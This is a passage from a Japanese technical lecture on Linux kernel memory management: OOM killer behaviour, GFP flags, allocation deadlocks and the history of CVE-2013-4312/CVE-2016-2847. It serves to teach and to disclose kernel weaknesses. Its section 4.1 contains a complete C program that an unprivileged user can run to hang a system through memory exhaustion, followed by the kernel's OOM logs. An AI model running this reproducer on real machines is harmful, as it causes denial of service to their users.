そのため、この脆弱性を用いない再現プログラムを試行錯誤で作りながら提示していきました。その際、実際のシステムでも発生しうることを示すために、ローカルの非特権ユーザの権限で再現でき、かつ、メモリ負荷を永遠に掛け続ける過負荷状態とは違うことを示すために、有限の負荷を用いて再現させるという制約を課しました。

しかし、あまりにも多くの問題を掘り起こしてしまったため、話が発散していきます。よって、先に、この脆弱性の顛末について紹介したいと思います。


2.8 この脆弱性の顛末1

2015年の最後に、この脆弱性を緩和するパッチが公開MLに提案され、脆弱性の存在が公になり、 Linux 4.5 (2016年3月リリース)に取り込まれました。

しかし、ほぼ同時に提案された両方のパッチに Mitigates: CVE-2013-4312 (Linux 2.0+) というタグを付与してしまったことが原因で勘違いが発生し、 Unix ドメインソケットを用いてファイルディスクリプタを枯渇させる攻撃( CVE 番号を割り当てずに扱っていた脆弱性)の方が CVE-2013-4312 ということになってしまい、パイプバッファを用いてカーネルメモリを枯渇させる攻撃( CVE-2013-4312 として扱われていた脆弱性)の方は CVE-2016-2847 ということになってしまいました。

とりあえず、ファイルディスクリプタを枯渇させる攻撃については解消、パイプバッファを用いてカーネルメモリを枯渇させる攻撃についても、ある程度は緩和された訳です。


2.9 この脆弱性の顛末2

2016年5月、パイプバッファが使用するメモリを kmemcg で追跡できるようにするパッチが公開MLに再提案されているのに気が付きました。(1回目の提案は2015年9月だったようですが、気づきませんでした。)

「あれ?パイプが使用するメモリは既に Linux 3.8 の時点で kmemcg を用いて追跡できるようになっていたのでは?そういう前提で議論していた筈だけど?」

パッチの提案者に照会してみたところ、「 kmemcg で追跡できていたのはメタデータ部分のみ。パイプが保持するデータのためのメモリ(匿名パイプバッファページ)は今まで追跡されていなかったよ。」という返事が。

・・・この脆弱性の緩和策だと思っていた kmemcg は、実際にはほとんど効果が無かったということが発覚してしまいました。なので、この講義の「概要」に書いてある、「 memory cgroup を使用して適切なリソース制限を掛けていない Linux システムでは」という断り書きも、この脆弱性に関して言えば該当しませんでした。

ということで、この講義の本題に入ります。(やっとですか?)


第3章 メモリ管理機構の闇を理解するための基礎知識


3.1 Linux のプロセス管理について

task_struct/thread_info

プロセス/スレッドを管理するためのデータ構造です。
タスク構造体/スレッド構造体

signal_struct

シグナルを管理するためのデータ構造です。
signal 構造体

mm_struct

ユーザ空間で動作するプロセスが使用するメモリを管理するためのデータ構造です。
mm 構造体

スレッドとスレッドグループ(プロセス)

シングルプロセス/シングルスレッドです。
シングルプロセス

マルチプロセスです。 fork() で作成できます。
マルチプロセス

素直なマルチスレッドです。 CLONE_VM と CLONE_SIGHAND と CLONE_THREAD を指定した clone() で作成できます。
素直なマルチスレッド

ひねくれ者のマルチスレッドです。CLONE_SIGHAND を指定せずに CLONE_VM を指定した clone() で作成できます。
ひねくれ者のマルチスレッド

カーネルスレッド

原則として mm_struct を持っていません。
カーネルスレッド

ワークキュー

(さまざまなスレッドが発行するワークを処理するための)カーネルスレッドにより実現されるキューです。
ワークキュー


3.2 Linux のメモリ管理について

・ buddy page allocator を採用しています。

4096バイト単位で区切った「ページ」を基本として、それを order-0 (1バイト以上4096バイト以下の割り当て要求)用、 order-1 (4097バイト以上8192バイト以下の割り当て要求)用、 order-2 (8193バイト以上16384バイト以下の割り当て要求)用・・・のように、2のべき乗のサイズで分割してグループ分けされた order という指標を用いて管理しています。

他にも、小さな固定サイズの割り当て要求のための slab allocator がありますが、この講義にとっては重要ではないので省略します。

・使用量を追跡できるメモリと追跡できないメモリがあります。

OOM killer は、ファイルディスクリプタに関連付けされているメモリを考慮せず、 mm_struct から追跡できるメモリだけを考慮して動作します。

メモリ消費の大部分は mm_struct に関連付けされていることが前提です。そのため、多数のファイルディスクリプタを用いてパイプバッファで埋め尽くすという攻撃を受けると、無関係なプロセスを次々と強制終了させてしまうという結果を招いてしまいました。

memory cgroup の中の kmemcg は、カーネル内で使用されるメモリを追跡することができます。 kmemcg ではない memory cgroup は、 mm_struct から追跡できるメモリを追跡します。

・ GFP フラグ( Get Free Page flags )というものが存在しています。

空きメモリの割り当て要求時に、 GFP フラグというビットマスクを指定します。このビットマスクは、(キャッシュメモリなどの)回収可能なメモリを回収して空きメモリを生み出すためにどのようなアクションを行うことができるかや、どれくらい一生懸命に空きメモリを割り当てようとするかを制御します。ユーザ空間でのメモリ割り当て要求( malloc() など)では意識しない世界です。

・多重下請け構造になっています。

GFP_KERNEL
(__GFP_RECLAIM | __GFP_IO | __GFP_FS)

主にアプリケーション(元請け)が使用します。

必要であれば、 __GFP_FS フラグを使用して fs writeback (ファイルシステムに対して変更内容を反映する)処理や、 __GFP_IO フラグを使用してストレージへのI/O(読み書き)処理を行うことができます。

GFP_NOFS
(__GFP_RECLAIM | __GFP_IO)

主にファイルシステム(下請け)が使用します。

必要であれば、 __GFP_IO フラグを使用してストレージへのI/O処理を行うことができます。しかし、デッドロックを避けるために、 fs writeback 処理は行えません。

GFP_NOIO
(__GFP_RECLAIM)

主にデバイスドライバ(孫請け)が使用します。

デッドロックを避けるために、 fs writeback 処理もストレージへのI/O処理も行うことはできません。

・ GFP フラグの指定を間違えるとデッドロックする、無理ゲーです。

例えば、ファイルシステムがロックを獲得してから行うメモリ割り当て要求の中で __GFP_FS フラグを渡してしまう( fs writeback 処理を許可してしまう)と、デッドロックする可能性があります。

しかも、実際にデッドロックしても、何のメッセージも出力されません。システムが原因不明のハングアップ状態に陥ったように見えるだけです。

・ついでに、エラーハンドリングも弱いです。

誰もメモリ枯渇時の挙動を積極的にテストしないため、メモリ割り当て要求が失敗した際に実行される処理は、殆どテストされていません。なので、意図的にメモリ割り当て要求を失敗させてみると、いろいろ不可解な挙動が観測されます。


3.3 OOM killer の発動条件について

・ OOM killer は、必要以上にプロセスを強制終了させないようにするために、 order が 4 以上(言い換えると、32769バイト以上)のメモリ割り当て要求の場合では、原則として OOM killer は発動しません。

そのようなメモリ割り当て要求が必要不可欠な場合には __GFP_NOFAIL フラグを指定することで OOM killer を発動させることができます。しかし、メモリのフラグメンテーション(断片化)が原因で無数のプロセスを強制終了させてしまう可能性があることから、大型のメモリ割り当て要求は __GFP_NOFAIL フラグを指定した kmalloc() ではなく、パフォーマンス面では不利でも大型のメモリ割り当てが可能になる vmalloc() を使用することが一般的です。

・ GFP_NOFS の割り当て要求(下請けの要求)や GFP_NOIO の割り当て要求(孫請けの要求)では、原則として OOM killer は発動しません。

GFP_KERNEL の割り当て要求であれば、 fs writeback を行うことで回収できるようになるメモリが存在しているかもしれません。そのため、拙速にプロセスを強制終了してしまうことを予防するために、 __GFP_FS フラグまたは __GFP_NOFAIL フラグが指定されない限り、 OOM killer が発動しないようになっています。

・ OOM killer により強制終了させられたプロセスが mm_struct を解放するまでは、原則として OOM killer が再発動することはありません。

プロセスを強制終了させるということは、作業中の状態が失われるということです。 OOM killer はプロセスを強制終了させることでメモリを回収するため、必要以上にプロセスを強制終了させないことが望まれます。そのために、「このプロセスは OOM killer によって強制終了させられました」という目印である TIF_MEMDIE フラグを使用します。

TIF_MEMDIE フラグをプロセスに付与することで、2つの例外的動作を行います。

ステップ1: OOM 状態が発生する前の状況です
OOM 状態が発生する前の状況です
ステップ2: OOM 状態が発生した直後の状況です
OOM 状態が発生した直後の状況です
ステップ3: OOM killer がプロセスを強制終了させます
OOM killer がプロセスを強制終了させます
ステップ4:「予約メモリ」から割り当てることで切り抜けます
「予約メモリ」から割り当てることで切り抜けます
ステップ5:プロセスが mm_struct を解放します
プロセスが mm_struct を解放します
ステップ6: OOM 状態が解消した後の状況です
OOM 状態が解消した後の状況です

3.4 究極の選択が迫られる状況について

アプリケーションが、ファイルに対して非同期の書き込み処理を行った場合、書き込まれたファイルの内容は、GFP_KERNEL の割り当て要求により確保したメモリ上に反映されます。その後、定期的または必要に応じて、 GFP_NOFS フラグにより確保したメモリを用いて、ファイルシステムへの反映を行います。そして、ファイルシステムへの反映を行う際には、 GFP_NOIO フラグにより確保したメモリを用いて、ストレージとのI/O処理が行われます。

つまり、 GFP_KERNEL の割り当て要求(元請けの要求)が満たされるためには GFP_NOFS の割り当て要求(下請けの要求)が満たされる必要があります。そして、 GFP_NOFS の割り当て要求(下請けの要求)が満たされるためには GFP_NOIO の割り当て要求(孫請けの要求)が満たされる必要があります。

しかし、いずれの割り当て要求も、メモリ割り当て要求を満たすための閾値( min: の値)は同じです。言い換えると、 GFP_KERNEL の割り当て要求を満たすことができない場合は、 GFP_NOFS や GFP_NOIO の割り当て要求を満たすこともできません。

つまり、 GFP_NOFS の割り当て要求(下請けの要求)や GFP_NOIO の割り当て要求(孫請けの要求)で OOM killer を発動させないのなら、そのような要求は拒否する(メモリ割り当て要求を失敗させる)しか選択肢はありませんよね?

でも、孫請けによるメモリ割り当て要求が失敗することでストレージへの読み書きが失敗すれば、元請けであるファイルシステムへの影響(不整合)が発生します。例えば、 ext4 ファイルシステムであれば、読み込み専用モードで再マウントされたり、カーネルパニックが発生したりする訳です。

同様に、下請けによるメモリ割り当て要求が失敗することでファイルシステムへの読み書きが失敗すれば、元請けであるアプリケーションへの影響が発生します。例えば、非同期モードで書き込んだデータが失われることが考えられます。

なので、 OOM killer を発動させないことを理由に、簡単に下請けや元請けの要求を拒否したくはないですよねぇ・・・。


第4章 「メモリ管理機構の矛盾を露呈した」事件


4.1 究極の選択が迫られる状況が実際に起きてしまったらどうなるのでしょう?

malloc() + memset() を行うことでメモリを全て消費するプロセスと、ファイルへの非同期書き込みを行うことで若干のメモリを消費するプロセスを同時に動かすことで再現できそうです。

実験:ファイルへの書き込みを行いながら OOM 状態を発生させたら何が起こるだろう?

---------- memset+write.c ----------
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
        unsigned long size;
        char *buf = NULL;
        unsigned long i;
        for (i = 0; i < 10; i++) {
                if (fork() == 0) {
                        static char buf[4096];
                        const int fd = open("/tmp/file", O_CREAT | O_WRONLY |
                                            O_APPEND, 0600);
                        while (write(fd, buf, sizeof(buf)) == sizeof(buf));
                        pause();
                        _exit(0);
                }
        }
        for (size = 1048576; size < 512UL * (1 << 30); size <<= 1) {
                char *cp = realloc(buf, size);
                if (!cp) {
                        size >>= 1;
                        break;
                }
                buf = cp;
        }
        sleep(5);
        /* Will cause OOM due to overcommit */
        for (i = 0; i < size; i += 4096)
                buf[i] = 0;
        pause();
        return 0;
}
---------- memset+write.c ----------

結果:システムがハングアップしてしまいました。

---------- 実行結果例 ここから ----------
[   67.776733] memset+write invoked oom-killer: gfp_mask=0x280da, order=0, oom_score_adj=0
[   67.778409] memset+write cpuset=/ mems_allowed=0
[   67.779310] CPU: 1 PID: 4158 Comm: memset+write Not tainted 3.10.0-327.18.2.el7.x86_64 #1
[   67.780988] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[   67.783002]  ffff88007bbadc00 0000000015e9c4b5 ffff88007b127af8 ffffffff81635a0c
[   67.784679]  ffff88007b127b88 ffffffff816309ac ffff880079cd5750 ffff880079cd5768
[   67.786253]  0000000000000206 ffff88007bbadc00 ffff88007b127b70 ffffffff81128b1f
[   67.788065] Call Trace:
[   67.788645]  [<ffffffff81635a0c>] dump_stack+0x19/0x1b
[   67.789606]  [<ffffffff816309ac>] dump_header+0x8e/0x214
[   67.790620]  [<ffffffff81128b1f>] ? delayacct_end+0x8f/0xb0
[   67.791957]  [<ffffffff8116d0be>] oom_kill_process+0x24e/0x3b0
[   67.793085]  [<ffffffff8116cc26>] ? find_lock_task_mm+0x56/0xc0
[   67.794515]  [<ffffffff81088dae>] ? has_capability_noaudit+0x1e/0x30
[   67.795730]  [<ffffffff8116d8e6>] out_of_memory+0x4b6/0x4f0
[   67.796792]  [<ffffffff81173ac5>] __alloc_pages_nodemask+0xa95/0xb90
[   67.798004]  [<ffffffff811b7b8a>] alloc_pages_vma+0x9a/0x140
[   67.799125]  [<ffffffff81197925>] handle_mm_fault+0xb85/0xf50
[   67.800228]  [<ffffffff8163aae8>] ? __schedule+0x2d8/0x900
[   67.801479]  [<ffffffff816416c0>] __do_page_fault+0x150/0x450
[   67.802749]  [<ffffffff816419e3>] do_page_fault+0x23/0x80
[   67.803803]  [<ffffffff8163dc48>] page_fault+0x28/0x30
[   67.804805] Mem-Info:
[   67.805259] Node 0 DMA per-cpu:
[   67.806084] CPU    0: hi:    0, btch:   1 usd:   0
[   67.807042] CPU    1: hi:    0, btch:   1 usd:   0
[   67.807971] CPU    2: hi:    0, btch:   1 usd:   0
[   67.809149] CPU    3: hi:    0, btch:   1 usd:   0
[   67.810041] Node 0 DMA32 per-cpu:
[   67.810743] CPU    0: hi:  186, btch:  31 usd:  32
[   67.811942] CPU    1: hi:  186, btch:  31 usd:   0
[   67.812860] CPU    2: hi:  186, btch:  31 usd: 211
[   67.813691] CPU    3: hi:  186, btch:  31 usd:  50
[   67.814633] active_anon:385124 inactive_anon:2096 isolated_anon:0
[   67.814633]  active_file:6184 inactive_file:9766 isolated_file:0
[   67.814633]  unevictable:0 dirty:552 writeback:9326 unstable:0
[   67.814633]  free:15848 slab_reclaimable:4962 slab_unreclaimable:5615
[   67.814633]  mapped:5933 shmem:2161 pagetables:2108 bounce:0
[   67.814633]  free_cma:0
[   67.822567] Node 0 DMA free:7432kB min:400kB low:500kB high:600kB active_anon:7240kB inactive_anon:0kB active_file:200kB inactive_file:148kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:204kB mapped:184kB shmem:0kB slab_reclaimable:112kB slab_unreclaimable:160kB kernel_stack:64kB pagetables:292kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:27 all_unreclaimable? no
[   67.831956] lowmem_reserve[]: 0 1720 1720 1720
[   67.833707] Node 0 DMA32 free:53824kB min:44652kB low:55812kB high:66976kB active_anon:1533256kB inactive_anon:8384kB active_file:24536kB inactive_file:40900kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1763444kB mlocked:0kB dirty:1840kB writeback:39308kB mapped:23548kB shmem:8644kB slab_reclaimable:19736kB slab_unreclaimable:22300kB kernel_stack:6528kB pagetables:8140kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:448 all_unreclaimable? no
[   67.844988] lowmem_reserve[]: 0 0 0 0
[   67.846636] Node 0 DMA: 22*4kB (UEM) 13*8kB (UEM) 11*16kB (UEM) 4*32kB (UEM) 2*64kB (EM) 1*128kB (E) 2*256kB (UM) 2*512kB (UE) 1*1024kB (E) 2*2048kB (ER) 0*4096kB = 7408kB
[   67.851731] Node 0 DMA32: 941*4kB (UE) 693*8kB (UEM) 270*16kB (UEM) 216*32kB (UE) 117*64kB (UEM) 52*128kB (UEM) 27*256kB (UEM) 8*512kB (EM) 3*1024kB (M) 1*2048kB (M) 0*4096kB = 50812kB
[   67.857304] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[   67.859927] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   67.862160] 19726 total pagecache pages
[   67.863651] 0 pages in swap cache
[   67.865041] Swap cache stats: add 0, delete 0, find 0/0
[   67.866736] Free swap  = 0kB
[   67.868016] Total swap = 0kB
[   67.869295] 524157 pages RAM
[   67.870684] 0 pages HighMem/MovableOnly
[   67.872163] 79320 pages reserved
[   67.873467] [ pid ]   uid  tgid total_vm      rss nr_ptes swapents oom_score_adj name
[   67.875840] [  588]     0   588     9204      680      19        0             0 systemd-journal
[   67.878421] [  604]     0   604    10814      485      21        0         -1000 systemd-udevd
[   67.878422] [  912]     0   912    12803      451      25        0         -1000 auditd
[   67.878424] [ 1967]    70  1967     6997      389      18        0             0 avahi-daemon
[   67.878425] [ 1979]     0  1979    72391     1429      42        0             0 rsyslogd
[   67.878426] [ 1982]     0  1982    80896     5753      78        0             0 firewalld
[   67.878427] [ 1983]     0  1983     4829      316      14        0             0 irqbalance
[   67.878428] [ 1984]     0  1984     6612      435      15        0             0 systemd-logind
[   67.878429] [ 1985]    81  1985     6672      465      18        0          -900 dbus-daemon
[   67.878430] [ 1990]    70  1990     6997       58      17        0             0 avahi-daemon
[   67.878431] [ 2015]     0  2015    52593     1356      56        0             0 abrtd
[   67.878433] [ 2017]     0  2017    51993     1133      54        0             0 abrt-watch-log
[   67.878434] [ 2018]     0  2018     1094      148       8        0             0 rngd
[   67.878435] [ 2044]     0  2044    31583      393      21        0             0 crond
[   67.878436] [ 2181]     0  2181    46752     1141      41        0             0 vmtoolsd
[   67.878438] [ 2803]     0  2803    27631     3192      51        0             0 dhclient
[   67.878439] [ 2807]   999  2807   132051     3450      54        0             0 polkitd
[   67.878440] [ 2890]     0  2890    20640      900      40        0         -1000 sshd
[   67.878441] [ 2893]     0  2893   138262     4089      91        0             0 tuned
[   67.878442] [ 4096]     0  4096    22785      519      42        0             0 master
[   67.878443] [ 4102]     0  4102    64751     2099      57        0          -900 abrt-dbus
[   67.878445] [ 4108]     0  4108    23201      674      51        0             0 login
[   67.878445] [ 4109]     0  4109    27509      214      12        0             0 agetty
[   67.878446] [ 4113]     0  4113    79455      691     104        0             0 nmbd
[   67.878447] [ 4115]    89  4115    22811      976      44        0             0 pickup
[   67.878448] [ 4116]    89  4116    22828      984      45        0             0 qmgr
[   67.878450] [ 4130]     0  4130    96508     1392     138        0             0 smbd
[   67.878451] [ 4134]     0  4134    96508      735     132        0             0 smbd
[   67.878452] [ 4137]  1000  4137    28884      534      14        0             0 bash
[   67.878454] [ 4158]  1000  4158   541715   366511     725        0             0 memset+write
[   67.878455] [ 4159]  1000  4159     1042       21       6        0             0 memset+write
[   67.878456] [ 4160]  1000  4160     1042       21       6        0             0 memset+write
[   67.878457] [ 4161]  1000  4161     1042       21       6        0             0 memset+write
[   67.878458] [ 4162]  1000  4162     1042       21       6        0             0 memset+write
[   67.878459] [ 4163]  1000  4163     1042       21       6        0             0 memset+write
[   67.878460] [ 4164]  1000  4164     1042       21       6        0             0 memset+write
[   67.878461] [ 4165]  1000  4165     1042       21       6        0             0 memset+write
[   67.878461] [ 4166]  1000  4166     1042       21       6        0             0 memset+write
[   67.878462] [ 4167]  1000  4167     1042       21       6        0             0 memset+write
[   67.878463] [ 4168]  1000  4168     1042       21       6        0             0 memset+write
[   67.878464] Out of memory: Kill process 4158 (memset+write) score 825 or sacrifice child
[   67.878467] Killed process 4159 (memset+write) total-vm:4168kB, anon-rss:84kB, file-rss:0kB
[   68.333885] memset+write invoked oom-killer: gfp_mask=0x280da, order=0, oom_score_adj=0
[   68.335891] memset+write cpuset=/ mems_allowed=0
[   68.337124] CPU: 0 PID: 4158 Comm: memset+write Not tainted 3.10.0-327.18.2.el7.x86_64 #1
[   68.339035] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[   68.341410]  ffff88007bbadc00 0000000015e9c4b5 ffff88007b127af8 ffffffff81635a0c
[   68.343326]  ffff88007b127b88 ffffffff816309ac ffff880079cd5750 ffff880079cd5768
[   68.345256]  0000000000000206 ffff88007bbadc00 ffff88007b127b70 ffffffff81128b1f
[   68.347163] Call Trace:
[   68.348064]  [<ffffffff81635a0c>] dump_stack+0x19/0x1b
[   68.349439]  [<ffffffff816309ac>] dump_header+0x8e/0x214
[   68.350859]  [<ffffffff81128b1f>] ? delayacct_end+0x8f/0xb0
[   68.352320]  [<ffffffff8116d0be>] oom_kill_process+0x24e/0x3b0
[   68.353847]  [<ffffffff8116cc26>] ? find_lock_task_mm+0x56/0xc0
[   68.355373]  [<ffffffff81088dae>] ? has_capability_noaudit+0x1e/0x30
[   68.357016]  [<ffffffff8116d8e6>] out_of_memory+0x4b6/0x4f0
[   68.358503]  [<ffffffff81173ac5>] __alloc_pages_nodemask+0xa95/0xb90
[   68.360124]  [<ffffffff811b7b8a>] alloc_pages_vma+0x9a/0x140
[   68.361635]  [<ffffffff81197925>] handle_mm_fault+0xb85/0xf50
[   68.363147]  [<ffffffff8163aae8>] ? __schedule+0x2d8/0x900
[   68.364612]  [<ffffffff816416c0>] __do_page_fault+0x150/0x450
[   68.366144]  [<ffffffff816419e3>] do_page_fault+0x23/0x80
[   68.367616]  [<ffffffff8163dc48>] page_fault+0x28/0x30
[   68.369019] Mem-Info:
[   68.369890] Node 0 DMA per-cpu:
[   68.370979] CPU    0: hi:    0, btch:   1 usd:   0
[   68.372543] CPU    1: hi:    0, btch:   1 usd:   0
[   68.373900] CPU    2: hi:    0, btch:   1 usd:   0
[   68.375258] CPU    3: hi:    0, btch:   1 usd:   0
[   68.376576] Node 0 DMA32 per-cpu:
[   68.377683] CPU    0: hi:  186, btch:  31 usd:   0
[   68.379041] CPU    1: hi:  186, btch:  31 usd:   0
[   68.380402] CPU    2: hi:  186, btch:  31 usd:   0
[   68.381744] CPU    3: hi:  186, btch:  31 usd:  33
[   68.383107] active_anon:404397 inactive_anon:2096 isolated_anon:0
[   68.383107]  active_file:82 inactive_file:0 isolated_file:0
[   68.383107]  unevictable:0 dirty:2 writeback:64 unstable:0
[   68.383107]  free:12956 slab_reclaimable:4712 slab_unreclaimable:5666
[   68.383107]  mapped:489 shmem:2161 pagetables:2146 bounce:0
[   68.383107]  free_cma:0
[   68.391582] Node 0 DMA free:7272kB min:400kB low:500kB high:600kB active_anon:7948kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:40kB mapped:16kB shmem:0kB slab_reclaimable:52kB slab_unreclaimable:164kB kernel_stack:64kB pagetables:292kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[   68.400580] lowmem_reserve[]: 0 1720 1720 1720
[   68.402208] Node 0 DMA32 free:44552kB min:44652kB low:55812kB high:66976kB active_anon:1609640kB inactive_anon:8384kB active_file:328kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1763444kB mlocked:0kB dirty:8kB writeback:216kB mapped:1940kB shmem:8644kB slab_reclaimable:18796kB slab_unreclaimable:22500kB kernel_stack:6528kB pagetables:8292kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:2005 all_unreclaimable? yes
[   68.412886] lowmem_reserve[]: 0 0 0 0
[   68.414465] Node 0 DMA: 2*4kB (UE) 11*8kB (UE) 4*16kB (UE) 4*32kB (UEM) 3*64kB (EM) 3*128kB (EM) 1*256kB (U) 2*512kB (UE) 1*1024kB (E) 2*2048kB (ER) 0*4096kB = 7264kB
[   68.419424] Node 0 DMA32: 910*4kB (UEM) 568*8kB (UEM) 153*16kB (UEM) 151*32kB (UE) 94*64kB (UEM) 58*128kB (UEM) 32*256kB (UE) 9*512kB (E) 1*1024kB (M) 1*2048kB (M) 0*4096kB = 44776kB
[   68.424683] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[   68.427106] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   68.429457] 2258 total pagecache pages
[   68.430956] 0 pages in swap cache
[   68.432384] Swap cache stats: add 0, delete 0, find 0/0
[   68.434187] Free swap  = 0kB
[   68.435545] Total swap = 0kB
[   68.436865] 524157 pages RAM
[   68.438225] 0 pages HighMem/MovableOnly
[   68.439698] 79320 pages reserved
[   68.441072] [ pid ]   uid  tgid total_vm      rss nr_ptes swapents oom_score_adj name
[   68.443320] [  588]     0   588     9204      395      19        0             0 systemd-journal
[   68.445710] [  604]     0   604    10814      176      21        0         -1000 systemd-udevd
[   68.448100] [  912]     0   912    12803      122      25        0         -1000 auditd
[   68.450370] [ 1967]    70  1967     6997       63      18        0             0 avahi-daemon
[   68.452736] [ 1979]     0  1979    72391      926      42        0             0 rsyslogd
[   68.455063] [ 1982]     0  1982    80896     4270      78        0             0 firewalld
[   68.457297] [ 1983]     0  1983     4829       87      14        0             0 irqbalance
[   68.459638] [ 1984]     0  1984     6612       86      15        0             0 systemd-logind
[   68.462043] [ 1985]    81  1985     6672      128      18        0          -900 dbus-daemon
[   68.464379] [ 1990]    70  1990     6997       58      17        0             0 avahi-daemon
[   68.466708] [ 2015]     0  2015    52593      433      56        0             0 abrtd
[   68.468963] [ 2017]     0  2017    51993      352      54        0             0 abrt-watch-log
[   68.471530] [ 2018]     0  2018     1094       24       8        0             0 rngd
[   68.473807] [ 2044]     0  2044    31583      155      21        0             0 crond
[   68.476153] [ 2181]     0  2181    46752      262      41        0             0 vmtoolsd
[   68.478435] [ 2803]     0  2803    27631     3114      51        0             0 dhclient
[   68.480782] [ 2807]   999  2807   132051     2260      54        0             0 polkitd
[   68.483093] [ 2890]     0  2890    20640      222      40        0         -1000 sshd
[   68.485357] [ 2893]     0  2893   138262     2668      91        0             0 tuned
[   68.487615] [ 4096]     0  4096    22785      252      42        0             0 master
[   68.489912] [ 4102]     0  4102    64751     1000      57        0          -900 abrt-dbus
[   68.492253] [ 4108]     0  4108    23201      170      51        0             0 login
[   68.494525] [ 4109]     0  4109    27509       37      12        0             0 agetty
[   68.496785] [ 4113]     0  4113    79455      358     104        0             0 nmbd
[   68.499056] [ 4115]    89  4115    22811      253      44        0             0 pickup
[   68.501186] [ 4116]    89  4116    22828      250      45        0             0 qmgr
[   68.503333] [ 4130]     0  4130    96508      528     138        0             0 smbd
[   68.505438] [ 4134]     0  4134    96508      528     132        0             0 smbd
[   68.507535] [ 4137]  1000  4137    28884      134      14        0             0 bash
[   68.509598] [ 4158]  1000  4158   541715   385692     763        0             0 memset+write
[   68.511764] [ 4160]  1000  4160     1042       21       6        0             0 memset+write
[   68.513959] [ 4161]  1000  4161     1042       21       6        0             0 memset+write
[   68.515999] [ 4162]  1000  4162     1042       21       6        0             0 memset+write
[   68.518104] [ 4163]  1000  4163     1042       21       6        0             0 memset+write
[   68.520170] [ 4164]  1000  4164     1042       21       6        0             0 memset+write
[   68.522145] [ 4165]  1000  4165     1042       21       6        0             0 memset+write
[   68.524082] [ 4166]  1000  4166     1042       21       6        0             0 memset+write
[   68.526037] [ 4167]  1000  4167     1042       21       6        0             0 memset+write
[   68.527964] [ 4168]  1000  4168     1042       21       6        0             0 memset+write
[   68.529921] Out of memory: Kill process 4158 (memset+write) score 868 or sacrifice child
[   68.531913] Killed process 4160 (memset+write) total-vm:4168kB, anon-rss:84kB, file-rss:0kB
(反応が無いため、 SysRq-m によりメモリの状況を表示させました。)
[  104.136563] SysRq : Show Memory
[  104.137695] Mem-Info:
[  104.138539] Node 0 DMA per-cpu:
[  104.139591] CPU    0: hi:    0, btch:   1 usd:   0
[  104.141033] CPU    1: hi:    0, btch:   1 usd:   0
[  104.142328] CPU    2: hi:    0, btch:   1 usd:   0
[  104.143600] CPU    3: hi:    0, btch:   1 usd:   0
[  104.144856] Node 0 DMA32 per-cpu:
[  104.145869] CPU    0: hi:  186, btch:  31 usd:  30
[  104.147112] CPU    1: hi:  186, btch:  31 usd:  32
[  104.148358] CPU    2: hi:  186, btch:  31 usd:   1
[  104.149592] CPU    3: hi:  186, btch:  31 usd:  30
[  104.150827] active_anon:404558 inactive_anon:2096 isolated_anon:0
[  104.150827]  active_file:0 inactive_file:0 isolated_file:0
[  104.150827]  unevictable:0 dirty:0 writeback:0 unstable:0
[  104.150827]  free:12924 slab_reclaimable:4632 slab_unreclaimable:5619
[  104.150827]  mapped:404 shmem:2161 pagetables:2162 bounce:0
[  104.150827]  free_cma:0
[  104.158594] Node 0 DMA free:7264kB min:400kB low:500kB high:600kB active_anon:7968kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:12kB slab_unreclaimable:160kB kernel_stack:64kB pagetables:292kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  104.168335] lowmem_reserve[]: 0 1720 1720 1720
[  104.169812] Node 0 DMA32 free:44432kB min:44652kB low:55812kB high:66976kB active_anon:1610264kB inactive_anon:8384kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1763444kB mlocked:0kB dirty:0kB writeback:0kB mapped:1616kB shmem:8644kB slab_reclaimable:18516kB slab_unreclaimable:22316kB kernel_stack:6528kB pagetables:8356kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:2411 all_unreclaimable? yes
[  104.179790] lowmem_reserve[]: 0 0 0 0
[  104.181210] Node 0 DMA: 2*4kB (UE) 11*8kB (UE) 4*16kB (UE) 4*32kB (UEM) 3*64kB (EM) 3*128kB (EM) 1*256kB (U) 2*512kB (UE) 1*1024kB (E) 2*2048kB (ER) 0*4096kB = 7264kB
[  104.185866] Node 0 DMA32: 868*4kB (UEM) 562*8kB (UE) 151*16kB (UE) 154*32kB (UEM) 93*64kB (UE) 57*128kB (UE) 32*256kB (UE) 9*512kB (E) 1*1024kB (M) 1*2048kB (M) 0*4096kB = 44432kB
[  104.190836] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[  104.193159] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[  104.195439] 2162 total pagecache pages
[  104.196881] 0 pages in swap cache
[  104.198244] Swap cache stats: add 0, delete 0, find 0/0
[  104.199974] Free swap  = 0kB
[  104.201274] Total swap = 0kB
[  104.202577] 524157 pages RAM
[  104.203874] 0 pages HighMem/MovableOnly
[  104.205345] 79320 pages reserved
